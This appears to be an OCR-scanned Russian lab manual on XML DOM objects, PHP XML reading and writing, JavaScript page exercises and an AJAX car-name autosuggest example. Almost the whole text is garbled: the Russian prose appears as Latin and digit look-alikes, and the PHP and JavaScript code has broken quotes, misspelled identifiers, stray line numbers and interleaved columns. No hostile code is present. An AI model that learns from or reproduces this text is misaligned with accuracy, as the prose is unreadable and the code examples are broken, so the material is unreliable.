JOKYMEHT Kak 00beKTHYI0 MoJienb JoKkyMeHTa (Document Object Model — DOM), cocrosiyro U3 601b110r0
Habopa 0OBEKTOB, CBOMCTB U KOMaH 1. HamucaHHbIi KO TTO3BOJISIET OCYIIECTBIIATH JOCTYI, OTOOpaKCHUE U
MaHuIynuposanue XML-31eMeHTaMu.



B Opaysepax naxomarcs BctpoeHHBbIe OmOmmoreku DOM. [lns criieHapweB Ha CTOpPOHE KIIMEHTA
JOCTYITHO MHOXECTBO OOBEKTOB JUIsi paboThl ¢ XML-I0KyMEHTOM, camble BaXKHbIE M3 HHUX, OOBEKTHI
XMLDOMDocument, XMLDOMNode, XMLDOMNodeList, XMLDOMParseError, mpeacrasistonime
uHTEepdeic 11 JOCTyNa KO BCEMY JTOKYMEHTY, OTJCIBHBIM €TI0 y3J1aM M TMOJIEPEBbSIM, MPEI0CTABISIOMNE
HEOOXOIUMYIO JUISl OTJIAIKU HH(OPMALIHIO O MPOU3OIIEAIINX OIIHOKaX aHAIM3aTopa, COOTBETCTBEHHO.

O6vext XMLDOMNode, peanmusyrommii 6a3oBbsiii DOM unTepdeiic Node, npeaHasHayeH s
MaHUIYJIUPOBAHUS C OTAEIBHBIM Y3JIOM JiepeBa JoKyMeHTa. Ero cBoICTBa M METO/IbI MO3BOJIAIOT MONTYYaTh
Y M3MEHSTH IOJIHYI HHpopMaiuio o TekyimeM y3ne — ero Tun (dataType, nodeType, nodeTypeString),
HazBanue (baseName, prefix, nodeName ), ero comepkumoe (attributes ,text, nodeValue, childNodes) u T.1.

[Ipu BBIMOIHEHNH JAHHOM 1a00paTOpHOIl pabOTHI MOTYT OBITH MOJIE3HBI CIIEAYIOIINE CBOMCTRA!
nodeName — Bo3Bpaiaer nosjHoe Ha3Banue (BMecte ¢ Namespace arpuOyTOM) TEKYIIEro y3jia B BHUJIE
CTPOKHU. JJOCTYITHO TOJIBKO JJISI YTCHUSL.
baseName — Bo3Bpainaet Ha3Banue 31eMenTa 0e3 npedukca Namespace. TogbKO Il YTCHHS.
prefix — Bo3sparmaer Namespace npedukc. ToIbKO sl YTCHUS.
dataType — OmnpezessieT TUIT COAEPKUMOTO TEKYIIETO y31a (OMHUChIBAEMbIil CXeMaMH JIaHHbIX ).

JlocTynHO AJIsl 3aMMCH Y UYTEHUS.

nodeType — Bo3Bpaiaer Tum Tekyiero y3ia. ToIbKo st YTCHHS.

nodeTypeString — Bo3spaiaet Tum y3iia B Buje TeKCTa. TONBKO /15 YTCHHUS.

attributes — BosBpaiiaer cricok arpuOyToB TeKymiero ysia B Buae koswiekinn XMLDOMNamedNodeMap.
Ecnu arpubyToB Het, To cBOHCTBO length Oymer cogepxarh HyneBoe 3HaYeHHE. [[Jsl TEX y37I0B, Y KOTOPBIX
HE MOXeET ObITh aTpulOyTOB, Bo3Bpaiaercs null. JIOCTymHO TONBKO sl YTSHHUS.

nodeValue — Bo3Bpaiiaer coepiumMoe TeKyIero ysia. JIoCTyImHO IS YTCHUS | 3aITUCH.

childNodes — [lyis Tex y3i0B, KOTOpbIC HMEIOT JOYEPHHE DJICMEHTHI, BO3BpAIACT HX CIHUCOK B BHIC
XMLDOMNodeList. B Tom ciydae, ecnu go4epHHX 3JIEMEHTOB HET, 3HaUueHHe cBoiicTBa length crmcka
paBHO HYI0. TONBKO AJIS YTEHUS.

lastChild — Bo3spariaer mocieanuii J04epHuii 31eMeHT Wi null, eciii TaKOBBIX HE HMEETCS.

CBOICTBO TOCTYITHO TOJIBKO JIJIsl YTEHUSI.

firstChild — Bo3Bpaiaer nepBsiii touepHuii snemeHT win null. Tombko 1y1s yTeHus!.

nextSibling — Bo3Bparaer cienyrommii fouepHuii 3eMeHT. ToIbKO I YTCHUS.

previousSibling — Bo3spariaer npeapayIuii JouepHuii 3J1eMeHT. JJoCTyITHO TOIBKO ISt YTCHUS.
parentNode — Colep>XUT CChIIKY Ha POAMTEIBbCKUI dIeMeHT. B ToM ciydae, Korjaa Takoro 3JIeMeHTa Her,
Bo3Bpamaet null. JfocTynHo TONbKO 7151 YTCHHS.

O6wvexT XMLDOMDocument nmpeacTaBiasieT BEpXHHH YpOBEHb OOBEKTHOM MepapXuu U CONEPKUT
MeTOAbl Il paboThl € JOKyMeHTOM: ero 3arpy3ku (readyState, load(url), loadXML(xmlString),
save(objTarget), abort() u T.1.), co3manuss B HeM odieMeHTOB (createElement(tagName)), aTtpuOyToB
(createAttribute (name)), kommenTtapues (createComment(data)) u T.1. MHOTHE CBOMCTBA U METOJIBI 3TOTO
00BEKTa pealn30BaHbl TAKXKe B PACCMOTPEHHOM BhIlIe Ki1acce Node, T.K. TOKyMEHT MOXET ObITh paCCMOTpPEH
KaK KOPHEBOM y3€ll C BIIO)KEHHBIMH B HETO TTOIEPEBhIMHU.

O6wvexT XMLDOMNodeList mpeacrapisieT co00i CIUCOK Y3J10B — MOAIEPEBbS U COAEPKUT METO/IbI,
IIPY TIOMOTII KOTOPBIX MOKHO OPTaHW30BaTh MPOIeAypy 00xoaa nepesa. Hampumep:
length — guco anemMeHTOB crmcKa y3/10B;
item(i) — BBIOOP i-TOTO A5IeMeHTa U3 crircka. Bo3spariaer 00bekT XMLDOMNode;
nextNode() — BbIOOp clieAyrOIIEero JIeMEeHTa B CITHCKE, €CJIM TaKOTo AJIEMEHTa HEeT, TO BO3BpaIlaeT
null. [1epBsIiii BEI30B 3TOr0 METO/]a BO3BPATUT CCBIJIKY Ha MEPBBIN AJIEMEHT CIHCKA;
reset() — coOpoc BHyTpeHHero ykazatens Tekymiero snemeHTa. O0bekT XMLDOMParserError mo3Bossier
MOJIYYUTh BCIO HEOOX0IMMYI0 HH(pOopMalnHio 06 ommnbdke, Ipou3oIeael B xone pazdopa 1okymenTta. Bee
CBOWCTBA 3TOT0 00BEKTA JOCTYITHBI TOJBKO /Ui uTeHUsl. OCHOBHBIE CBOWCTBA!
errorCode — coiep>KHUT KO BO3HUKIIEH OmHOKH 11060 0, €CITM TAKOBOM HE CIYUYHIIOCH;
url — BozBpamaer URL oOpabaTbiBaeMOro T0OKyMEHTa;
filepos — Bo3BpalaeT cMeleHre OTHOCUTENHHO Havasa (aiiina ¢pparMenTa, B KOTOPOM OOHApY»KeHA OIIMOKa;
line — conepxuT HOMEp CTPOKH, cCozepKalIel OMINOKY;
linepos — mo3uiuio omMOKK B CTPOKE, B KOTOPO# ObliTa 0OHApysKeHa OIInOKa;
reason — OnMCaHue OIIMOKU;
srcText — cogepKUT MOJHBINA TEKCT CTPOKH, B KOTOPOM ITPOU30IILIA OIMHNOKA;
3aoanue Ne 3. Hanucatp xona cuenapus (Microsoft Visual Basic Scripting Edition [VBScript]) s noctyna
K UHAUBHAYaIbHBIM XML-35memMeHnTam.



Jla6opaTopnasi pa6ora 10 «Pa3padoTrka Web-npuio:xenus ¢ nomombr XML»

Heab: 03HAKOMUTHCS CO criocobaMu pazpadoTku Web-nipunoxenuit ¢ momonsio XML.

3aoanue Ne 1. PHP 3amce B8 XML. UHcTpyMenT XMLWriter ObuT co3/1aH crienaibHo s 3amucu B XML
dopmate. OMH U3 BaXHBIX €ro MeToAoB 3To startDocument(), KOTOpBIM MO3BOJSET 3a7aTh KOAUPOBKY
Bepcun XML. Co3naiite XML cnenyromniero Buaa.

<?xml version="1.0"7>
<Customers>
<id>1</id>
4 | <name>Mapk</name>
5 | <address>CaHkT-NeTepbypr</address>
</Customer>

[Monyuuts Takoit popmaT MoxkHO ¢ momoInbio XML Writer cnenyromum odpazom:
<?php

//TIpocToit mpumep

$xml = new XMLWriter(); //co3maem HOBBIN 3k3eMIusap kiacca XML Writer
$xml->openMemory(); //ucrnonb30BaHNE MAMSITH IS BEIBO/IA CTPOKH
$xml->startDocument(); //ycranoska Bepcun XML B IepBoM Tere JOKYMEHTA
$xml->startElement("Customer"); //co3nanue KkopHeBOro y3ia
$xml->writeElement("id", "1');

$xml->writeElement("name”, "Mapk"); //3amuch snemenTa

$xml->writeElement(“address”, "Cauxkr-ITetepoypr");

$xml->endElement(); //3akpbITHE KOPHEBOTO 3JIEMEHTA

echo $xml->outputMemory(); /3aBepuienune 3amucu B XML

7>

Paccmotpu mpumep 3anucu B XML. Hanpumep, 3aiada nocrasieHa — noiay4uuTs ¢aiin XML B cienyromem
dopmare:

<xml version="1.0"7>
2 | <purchase>
3 | <customer>
<id>l</id>
<time>2013-04-19 10:56:03</time>
<total>$350</total>
</customer>
2 | <customer>
9 | <id>2</id>
10 | <time>2013-04-23 13:43:41</time>
11 |<total=%$1456</total>
</customer>
</purchase>

[Honyuuts Takoit popmaT MoxkHO ¢ momornibio XML Writer cienyromumm odpazom:
<?php

$xml = new XMLWriter();

$xml->openMemory();

$xml->startDocument();

$xml->startElement("purchase");

$xml->startElement("customer"); //OTKpbITHE 3J€MeHTa IEpBOro nmokymaress ¢ ID = 1
$xml->writeElement("id", 1);

$xml->writeElement("time", "2013-04-19 10:56:03");

$xml->writeElement(“total", "$350");

$xml->endElement(); //3akpbiTHE 37€MeHTa IepBOro mokymaress ¢ ID = 1
$xml->startElement("customer"); /OTkpbITHE d1IeMEHTa BTOPOTo MOKymnaress ¢ ID = 2
$xml->writeElement("id", 2);

$xml->writeElement("time", "2013-04-23 13:43:41");



$xml->writeElement("total", "$1456");

$xml->endElement(); //3akpsiTHe 31€MeHTa TIEpBOro MoKymnaresns ¢ ID = 2
$xml->endElement();

echo $xml->outputMemory();

7>

3aoanue No 2. Tlonyuuts ¢paiin XML B cnenyromem hopmare:

1 | <?xm] version="1.0"7>
' | <products>
} | <product pid="314">
<name>A6no0ko</name:
<price>$1.00</price>
6 | <discount>3%</discount>
" | </product>
8 | <product pid="315">
) | <name>MaHro</name>
<price=3$0.90</price>
11 | <discount>3%</discount>
12 | </product>
13 | </products>

3aoanue Ne 3. Utenue u nonydenue ganubix u3 XML. Huxe Oyner npuBeneH mpuMep YTEHUS U MOIYYCHUS
naHHbelx M3 XML ¢ ucnonszoBanuem kiaccoB XMLReader u SimpleXMLElement. Yurtate Oyaem yxe
umeronmiicss XML o0bekT, koTopsiid Mbl coznanu B npumepe Nel mpu PHP 3anucu 8 XML. XMLReader
WCIIOJB3YETCS ISl OJIYYEHHUS 3aIaHHOro y31a u3 XML.

// Urenne XML dopmara

$rxml = new XMLReader(); /Co3nanue 1eMeHTa /15 YTCHHSI

$rxml->xml($nXML); //3arpy3ka XML, $nXML — ctpoka B popmare XML

//TlepemecTuThCs K TIepBOMY 3eMenty customer while($rxml->read() && $rxml->name !==‘customer’);
$amountSpent = 0;

//Tlomyunm 3HaYeHHUE O total y BTOporo y3ia nepesa

while($rxml->name === "customer){

/[Yrenune Texymiero gouepHero yepe3 SimpleXMLElement

$node = new SimpleXMLElement($rxml->readOuterXML());

//TIpoBepsieM, HOMEP AJIEMEHTA, €CJIM OH PaBeH 2 TO 3TO UCKOMBIN IJIEMEHT

if($node->id == 2){

$amountSpent = $node->total; break;

by

//TlepeMecTUTbCS K CIEAYIOLIEMY JIEMEHTY customer

$rxml->next(‘customer’);

¥

echo $amountSpent;

3aoanue Ne 4. JloGaBrnenue y3m0B jaepeBa B cymiecTBytomuid XML. Wcnomb3ys XMLWriter u
SimpleXMLElement, toGaBum y3en gepesa B cymecTByronmii XML:

//[1o6aBUM HOBBIN y3ei B uMeromuiics XML

$sXML = new SimpleXMLElement($nXML?2); // 3arpyska 8 XML

$newchild = $sXML->addChild("product");

//1lobGaBneHune nmapaMeTpoB 3arucu

$newchild->addAttribute("pid", 328);

$newchild->addChild("name", "banan");

$newchild->addChild("price", "$3.00");

$newchild->addChild("discount"”, "0.3%");

echo $sXML->asXML();

3adanue Ne 5. Ilepesanucs aneMeHToB cymectByromero XML. Ilepe3anuce cymiecTByroLero ysia aepesa
XML MoxeT ObITh peaii30BaHa CICIYIONTIM 00pa3oM:

/**

* [lepesanuch y31moB aepeBa XML ¢opmara.



*/

$productld = 314;

$parent = new DomDocument;

Il co3maem HOBBIN 371eMeHT goma product
$parent_node = $parent->createElement(‘product’);

//ToGasnsiem aTprOyT

$attribute = $parent->createAttribute("pid");
/lycranaBnuBaeM 3HaUYEeHHE
$attribute->value = $productld;
$parent_node->appendChild($attribute);

/I Tob6aBsieM qOYEPHUIA 27IEMEHTHI
$parent_node->appendChild($parent->createElement('name’, "sI610k0"));
$parent_node->appendChild($parent->createElement(‘price’, "$2.00™));
$parent_node->appendChild($parent->createElement(‘'discount’, "1%"));
//BcTaBisieM CO3/IaHHBIE 2JIEMEHTHI B co3/1aBaeMblii ‘product’
$parent->appendChild($parent_node);

I/ Barpyxaem opurnHanbHbiii XML dpopmar

$dom = new DomDocument;

$dom->loadXML($nXML);

// Haxonum uMetrontuiics snement ¢ pid = 314

$xpath = new DOMXpath($dom);

$nodelist = $xpath->query(*/products/product[ @pid={$productid}]");

$oldnode = $nodelist->item(0);

// IMmopTHpyeM CO3/1aHbIi paHee dJIEMEHT B TEKYIIee AePEBO

$newnode = $dom->importNode($parent->documentElement, true);

/] 3aMeHsieM CcTpapblil 3JIEMEHT Ha HOBBIN
$oldnode->parentNode->replaceChild($newnode, $oldnode);

Il coxpansiem XML

echo $dom->saveXML();

3adanue Ne 6. Y nanenue s3nementoB XML. [Ipumep ynaneHust ofHOTo U3 MPOyKTOB:
/'Y nanenue npoaykra Masro

//3arpy3um opuruHanbHbIi popmatr XML

$productld = 315;

$dom = new DomDocument;

$dom->load XML ($nXML2);

// Haiiiem a7€MeHT KOTOpbIi HE0OXOIMMO YAATIUTh

$xpath = new DOMXpath($dom);

$nodelist = $xpath->query(*/products/product[ @pid={$productid}]");
$oldnode = $nodelist->item(0);

/1 Y mansiem aimemeHT

$oldnode->parentNode->removeChild($oldnode); echo $dom->saveXML();

JlabopaTopnas padora 11 «Mcnonb3oBanne A3bika cueHapues JavaScript npu co3xanuu web-caiita»
[{enb: 03HAKOMHUTHCS C MpUEMaMH pa3pabOTKU ClIEHapUEB Ha si3bIKe JavaScript.

XOJ PABOTBI:

3ananue Ne 1. JloGaBbpTe B IpUMeEp TPU CTpaHUIILL. [[Be cTpaHUIIBI HOHKHBI 0TOOpaxaTh HH(OPMAITHIO O
marasuHax Ilocyoa u Me6ens. TpeThs CTpaHHMIA — IJ1aBHAs B caiite cetu Marasunos BCE JJ/IA JJOMA. Ha
HEH JOIKHBI OBITh CCBUIKU Ha CTPAHUIIBI MAra3uHOB, BXOASAIINX B CETh!

htmlI><!-— CKPUIIT 3arpyxaercs u3 ¢aiina primJs.js--> <HEAD>

<TITLE>Cets</title>

</head>

<body>



<SCRIPT language="JavaScript" src="PrimJs.js">

</script>

<H2 align=center style="color:green">Marazun "TIOJJAPKIN"</h2>

Anpec: Jlecnas yi., 1.2<P>

Tpancnopt: TpamBau 7, 23, aBTo0ychl 56, 93

</body>

</html>

/] Daiin primJs.js

a="background-color:#00ffff; color:#ffOOff;" a+="font-size:24pt; font-family:' Times New Roman

naim='Cers marasunos "BCE JIJISI JOMA™

var da=new Date() d=da.getDate()+"."+(da.getMonth()+1)+"."+da.getFullYear() document.write('<P
align=center style=""+a+"">'+ naim+'</p><P>Ceronus '+d+'</p>')

3apanue Ne 2. Co3pgaiiTe CTpaHHIly ¢ H300paKEeHUEM U MOAIMUCKHIO o1 HUM. [Ipu 1miemuke mo moamnucu, oHa

JOJKHA MEHSATH CBOM 1BeT. [1lemyok mo n300paskeHUIO JOKEH BhI3BIBATH 3aMEHY H300payKEHUS U MTOAIHCH.

OyHKIH 1151 00pabOTKU COOBITHSA JOKHA BBI3BIBATHCS U3 POJUTENHCKOIO MO OTHOIIEHUIO K U300paKeHUIO

U IIOAIINCHA O0OBEKTA.

3aganue Ne 3. Co3naiite caiit u3 1Byx ctpanull. [lepBas cTpanuiia uMeeT 3arojoBok 3aka3 mebenu. Ha Hei

pacnosioxeHsl 1Ba nojis co cnuckamu (teru <SELECT>), none (KINPUT>) u knonka (<SUBMIT>). U3

MEPBOIO MOJISl CO CIIMCKOM TOJIb30BaTeNb BbIOMpaeT uzaenue (mkad, CToi, cepBanT u T.4.). M3 BToporo mos

CO CITMCKOMITOJIb30BaTelNb BEIOMpaeT marepuan (1y0,opex, 0yk). B TpeTbe mose Hy)KHO BBECTH KOJIUYECTBO

3aKa3bIBaeMbIX u3nenuil. [lociae BBoAa AaHHBIX HEOOXOIMMO MPOBEPUTH, BCE JIM JIaHHBbIE BBeJeHBI. Eciu

oOHapykeHa OITMOKa, TO HY>KHO BBIBECTHU COOOIIEHUE U TPEITIOKUTH €€ ncrpaButh. [IpaBUibHO BBEIEHHBIE

JaHHBbIE HYXKHO OTIpPaBUTHh Ha BeO-cepBep. Bropas crpanuma comepkut Hanucanuwlii Ha PHP ckpunt, c

MTOMOIIBIO0 KOTOPOTO (DOPMHUPYETCs CIECTYIOIIEEe COOOIICHHE:

Bam 3aka3 npunsar

3aka3aHo U3/IeJue — Ha3BaHUe 3aKa3aHHOTO M3JIEIHS

Marepuan  — 3aka3aHHbIN MaTepuan KonnyecTBo — 3aKa3aHHOE KOJMYECTBO

3aganue Ne 4. CozpaiiTe cTpaHUIly A BBIUKUCICHHS TPUTOHOMETpHYecKuX (GyHKIuil. BBoaumeie

MOJIb30BATEIEM JIaHHBIE JOJDKHBI MPOBEPSATHCS HEMEUIEHHO IIOCJIE€ BBOJA M TOCIE HaXaTUsi KHOIKH

Buiuucnums:

TPUT'OHOMETPHYECKHUE ®YHKIITUN

Yron gosmkeH 6bITh GoJblIe HYJIA 1 MeHbIne 90 rpagycoB

Vron B rpagycax [30

BriumcauTe |

sin( 30°)=0.5
3aganue Ne 5. Coszpaiite crpaHuUIly, Ha KOTOpPOM MOJb30BaTellb MOXKET IMpocMaTpuBaTh ¢ororpaduu,

[ KOCHH i C

BeiGepure potorpadrio

BBIOMpAst X Ha3BaHUSA U3 MO co crmuckoM (ter <SELECT>):



3amanue Ne 6. CozpaiiTe cTpaHuIly, HA KOTOPOM CTPOUTCS JJUIANC C 33JaBAEMBIMHU IOJb30BaTEIEM
pa3mepamu OOJIBIION U MAJIOH MOJTyOCeii:

HocTpoenue ammnca

3apgatiTe JUHHBI MTOTyoCceH

TOPH30HTANLHA a= |40

BePTHKALHAS b= ] 0

3apanue Ne 7. Hanummre clieHapuil mepeMeIleHHs] IBETHOTO KBajpara mo Kpyry. TpaekTopuio ymoOHO
OTHUCHIBATh TAPAMETPUUECKUMH YPAaBHEHUSIMHU:

y=R*sin(t) ,

rae: R—panuyc kpyra, 0 <=t <=2

KBagpaTom MosxeT ciyxuth kouteitHep <DIV> ...</div> ¢ uBeTHbIM HOHOM.

3aganue Ne 8. Hanumure cuenapuii, KOTopelil onpenenser ums Opaysepa. Ecinu 3arpy3ka npousonuia B
mobom Opaysepe kpome Internet Explorer, To mosb3oBarens JOMKEH OBITh MPEIyNpexAEH O TOM, UTO
CTpaHHWIla TPABWILHO OTOOpakaeTcss TONbKO B Opaysepe Internet Explorer. IlomectuTe HamwvcaHHBIN
CIIEHapui B OTAETbHBIN (ails ¢ pacmupenueM js. CKONUpyiTe B CBOM KaTalor IpUMepP, KOTOPBIM MPaBUIBLHO
oroOpakaercs Tonbko B Opaysepe Internet Explorer. BcraBpre B ckonmpoBannsiii npumep ter <SCRIPT ... >
JUIst 3arpy3ku ¢aitna co ckpunrtom. [IpoeprTe npumep B Opaysepax Internet Explorer u Mozilla.

3aganue Ne 9. Co3naiiTe caiiT, COCTOSIIINN U3 ABYX cTpaHull. CalT CITy>KUT ISl BEIBOJIA TAOTUIIBI 3HAYCHUH
TPUTOHOMETPHUECKOH (DYHKIUH (Sin, cOs U tg) B 3aJaHHOM JMara30He U ¢ 33J1aHHbIM IaroM. Ha mepBoii
CTpaHHULE MOJIb30BaTENb 331a€T MUCXO/IHbIE JaHHbIE, a HA BTOPOW MOJY4aeT COOTBETCTBYIOLIYIO TaOJIUILy.
OKHO ¢ HOBO# CTpaHHUIIEeH JOKHO OTKPBIBaThCs MeTo1oM open(). MicxoaHble TaHHbIE JOKHBI IIPOBEPSITHCS
cpa3y mocje BBOJa U MOoCiie HaxaTusl KHONKU Beraucnuthb. Tabiuiia 10KHa UMETh CIICTYIONTUN BU/T;
3apnanme Ne 10. Coznaiite cTpanuily ajig yd4€ra MOCTYyIUIeHHUs] TOBapoB. [lonp30Baresib MOXKET MEHSTh B

| Yrox ‘
1 sin
IE Tpan ingE pa;r;fa—.ax}
=m- | -
| 30 | 0.5236 | 0.5 |
| 32 | 0.5585 |0 5239}
| 3¢ |[ 0.5934 |0.5592
| 36 | 0.6283 |0.5878]

Ta6J'II/II_[C KOJIMYCCTBO U LCHY BLI6paHHOFO TOBapa, BBOAA HOBLIC 3HAYCHHA B ITOJIA, PACIIOJIOKCHHBIC IO/
Ta6n1/1ue171. BBeJIéHHBIMI/I SHAYCHUAMU 3aMCHAIOTCA COOTBCTCTBYIOIIUE JAHHBIC B Ta6J'II/II_[e N aBTOMaTHYCCKH
MMOACUUTBIBACTCA CyYMMapHasa CTOUMMOCTB BCEX TOBAPOB:

Y4ér nocryniieHus TOBapoB

[ T i
HaurveHOBAaHHE TORApPA \ueua 32 eIHHHIY KOJIHYECTBO CTOHMOCTh

|CTo rHCcEMeHHBIH (12000 Is [60000
[Cron kyxoHHBIi [8000 10 (80000
|CTyn 20 11200 [12000
[kad KHEDKHBI 14200 |7 68800
HTOrO 220800

I13MeHeHHe LieHbI H KOJIMYecTBa

ToBap ,,,,,,,,,, CTON NUCEMEHHEIR ¥

KomiyecTBo
Beon

JlaGopatopHnas pa6ora 12. «cnosib30Banne 0udauoTexku jQuery»
Ieab: o3HaKOMUTHCS ¢ TexHoJoruen AJAX.



XOJ PABOTBI:
Teopemuueckue ceedeHus

AJAX (Asynchronous JavaScript and XML) — 3T0 KOHIETIIHS UCITOJIb30BaHUS HECKOJIBKMX CMEKHBIX
TEXHOJIOTHI, OPHEHTUPOBAHHAs Ha pa3pabOTKy BBICOKOMHTEPAKTHBHBIX IMPUIIOKEHUS, OBICTPO
pearupyromux Ha AeUCTBUS M0JIb30BATENs, BBIMOIHIIOMIMX OOJBIIYIO YaCTh PA0OTHI HA CTOPOHE KIIMEHTA U
B3aUMO/ICHCTBYIOIINX C CEPBEPOM ITOCPECTBOM BHETIOJIOCHBIX OOPAIICHUH.

AJAX mpumensiercs sl pa3pabOTKU BEO-TIPUIIOKEHUN, K KOTOPBIM MPEABIBISIOTCS CICTYIOIINE
TpeOOBaHUS:

[IpunoxkeHue JOKHO MepeaaBaTh MOJIb30BATEINsIM CBEXHE JaHHbIE, TOJTYyYeHHBIE C CepBepa.

HoBrle 1aHHbIC JODKHBI MHTETPUPOBATHCS B CYLIECTBYIOIIYIO  CTpaHUIly ©Oe3 ee IOJHOro
OOHOBJICHHS.

Jiist paboTHI C TAKMMH MPUIIOKCHUSIME B Opay3epe HeoOX0AMMO, 4TOOBI OH COOTBETCTBOBAJ TPEOOBAHUSM:

—TOAJIEPXKKA TMMOCPETHUKOB (11 BHEMOJOCHBIX BbI30BOB HTTP). OOwpuHO peamusyercs B ¢opme

oobekra XmlHttpRequest%

—TojiepKKa 00HOBIsIeMoi Moien DOM.

O6wext XmlHttpRequest mpexacraBiser co00il KOMIIAKTHYIO OOBEKTHYIO MOAETH Ui OTHPABKU
cuenapueM oopamenuit HTTP B 06xon 6paysepa. KnueHTckuit Ko cuieHapus He MOXKET BIUATH Ha MPOIECe
pa3MelneHus 3amnpoca u pe3yibTaT OTHpaBku 3ampoca. XmlHttpRequest mo3Bosser cueHapuio OTIPABIATH
HTTP 3ampocsl u 06pabaTbiBaTh MOTYYCHHBIE OTBETHI.
3aganue Ne 1. 3yunTe npumMep cuctemsl, IMHTUpYIOIIEH padoty cepBuca GoogleSuggest Ha ocHoBe AJAX.
[Ipenmnonaraercs, 4TO MOIB30BATENb MOKET BBOJAUTH B TEKCTOBOE MoJie JOPMBI HA3BaHHE aBTOMOOMIBHON
MapKu, Mojtydasi Ipy 3TOM JUHAMUYECKH CIHCOK BapUaHTOB Ha3BaHMil, COOTBETCTBYIOIIUX YK€ BBEIACHHBIM
CUMBoOJIIaM, 0e3 mepe3arpy3ku cTpanuilbl. Haunem ¢ BeO-CTpaHHULIbL:
<htmi>
<head>
<script src="chint.js"></script>
</head>
<body>
<form>
First Name:
<input type="text" id="txt1" onkeyup="showHint(this. vahwe)">
</form>
<p>Suggestions: <span id="txtHint"></span></p>
</body>
</html>



Kak BugHO W3 KOza, Mpu HACTYIIEHUH COOBITHS onkeyup (OT)KaThe KIJIABHINN) BBI3BIBAETCS 00pabOTUHMK

showHint().B daiine chint.js UMeeTCs CIIeTYIOIIU N KOJ obOpaboTuunka:
function GetXmlHttpObject()
var xmiHttp; {
function showHint(str) var xmiHttp=mmull:
{ try
if (str.length==0) {
{ /i Firefox, Opera 8.0+, Safari
document. getElementByld("txtHint").innerHTML=""% xmiHtp = new XMLHttpRequest();
return; I
} catch (e)
xmiHttp=GetXmlHttpObject(); {
if{(xmll[ttp==rmll) // Tnternet Explorer
i
alert ("Your browser does not support AJAX!"); ?
T}Etlll’ﬂ; xmiHttp=new Active XObject("Wsxml2 XMLHTTP™;
}
var url = "ghint.php"; catch ()
url = wl + "?g=""+ str; {
url = wl + "&sid="+ Math.random(); xmHttp=new Active XObject("Microsoft. XMLHTTE");
xmiHttp.onreadystatechange = stateChanged; 1
xmiHttp.open("GET", url, true); ]
xmiHitp.send(null); return xmiHitp;

} }
W3 xoza BUJIHO, UTO KaX/Ibli pa3, KOTr/1a BBOAUTCS CUMBOJ, BbI3bIBaeTcs QyHKIMA-00padoTunk. Eciu
IpU 3TOM COJIEpP)KUMOE TeKcToBoro mojist (opmbl Hemycroe ( str.dength > 0 ), QyHKIMS BBIIOIHSAET
CIEeAYyIOLIMe IEUCTBUSA:

®opmupyertcst url s oTIIpaBKM BeO-cepBepYy.

JloGaBinsieTcs 3HaYeHHe apameTpa g, paBHOE COJIEP)KUMOMY TEKCTOBOTO oI, K url.

JloGaBnsiercs k url ciiydaiiHOE YMCIIO AJIs PEIOTBPALIEHHS] KEIIUPOBAHMUSL.

Coznaercs oobekr XMLHTTP, mpu stom ykaseiBaercs ¢yHkuus (stateChanged) nomnexamas

UCTIOJTHEHUIO TIPU HACTYTUICHUU COOBITHS BBO/Ia CHMBOJIA.

OtxpeiBaercs 00bekT XMLHTTP ¢ yka3anHbIM 3HaueHueM url.

Otmnpasnsiercs HTTP 3anpoc BeG-ceprepy.

Ecnu mnone BBoga myctoe, MPOUMCXOAUT OYUCTKA cojepKuMoro paszena txtHint Ha BeOG-cTpaHure.
KiroueBbIM MOMEHTOM B JTaHHOM CHUCTEME SIBIISIETCA UCTIOb30BaHne 00bekTa XMLHttpRequest.

JlaHHBI 00BEKT MO-pa3sHOMY CO3AaeTcsl B pa3inyHbIX Opaysepax. Tak, Internet Explorer mms storo
ucnonb3yeT ActiveXObject, B To BpeMsl Kak OCTallbHbIe Opay3ephl UCIOIB3YIOT BCTPOECHHBIH B JavaScript
oowsexT XML Http Request.

s mopepxku paboThl CUCTEMBI B pa3HBIX Opay3epax MCIoJIb30BaH ornepaTtop "try-catch". CHagama
nenaercs nomnbiTka co3aate 0o0bekT XMLHttpRequest ms OpaysepoB Firefox, Opera unu Safari:xmlHttp =
new XMLHttpRequest().B ciyuyae neynauu, nenaercs cieayromasi HonbITKa co3aanus oobekra s Internet
Explorer: xmlHttp = new ActiveXObject("Msxml2. XMLHTTP"). Ecnu 3T0 Takxe He yaaercs, TO JenaeTcs
MOMBITKA CO3JTaHUS o0BbeKTa yKe it Internet Explorer: xmlHttp = new
ActiveXObject("Microsoft XMLHTTP").B ciyuae, ecnu HU O/HA M3 THX IOMBITOK HE MPHHECIA yCIexa,
BBIZIACTCS COOOIIeHHE 00 OTCYTCTBUHU noaaepkku AJAX Opayzepom.



<?php
headen(""Cache-Control: no-cache, must-revalidate");

/f Tlpomeauasa gata
header("Expires: Mon, 1 Sep 2008 07:30:00 GMT");

// IHAIManyu3anya MacCHBa Ha3BaHui $a[]="Saab";

Sa[l="Audi"; $a[|="Subaru";

Sa[l="BMW"; $a[[="Suzuki";

$a[]="Buick"; $a[]="Toyota";

$a[]="Chevrolet"; $al|="Volkswagen";

Sa[J="Citroen'; Sa[l="Volvo';

$a[l="Dodge"; //nonyuyenue napametpa q us URL
$a[l="Ferrari"; $q =$_GET['"q"];

$a[]="Fiat"; //MOMCK COOTBETCTBUI M3 MAaCCHBa ecii AanHa q > 0
$a[]="Ford"; if (strlen(Sq) > 0)

$a[l="Honda"; {

$a[]="Hyundai"; Shint ="

$a[]="Cherokee"; for($i = 0; $i<count(Sa); $i++)
$a[l="Cherry"; {

$a[]="Lada" if (strtolower($q) == strtolower(substr(Sa[$i],0,strlen($q))))
$a[]="Lamborghini"; {

$a[]="Lincoln"; if ($hint == ")

Sa[l="Mazda"; {

$a[l="Mercedes", Shint=%a[ $il;

$a[|="Mitsubishi'; }

$a[]="Nissan"; eke

$a[]="Opel"; {

sal]z"Peugeot"; Shint=$hint." 3 "$a[$l],
Sa[l="Plymoth }

Sa[]="Pontiac"; }

$a[]="Renault"; }

$a[l="Rover"; }

// Bo3BpaT CTPOKA "HET BapuaHTOB" €C/TH COOTBETCTEHMH He HaHJeHC
// Tubo HalgeHHOe COOTBETCTBHE

if ($]1'n.u == "l')

{

$response = "no suggestion';
}

eke

{

$response = $hint;

}

//BBIBOA pesyikTarTa

echo $response;
3ananue Ne 2. Pazpaboraiite Kol BEIOOpa MapKy aBTOMOOWIISI C UCTIOJIb30BaHHEM Ajax.
3ananue Ne 3. PazpaGoraiite ko BbIOOpa CTpaHbl, pETHOHA, TOPOJia C UCIIOIb30BaHUEM Ajax.
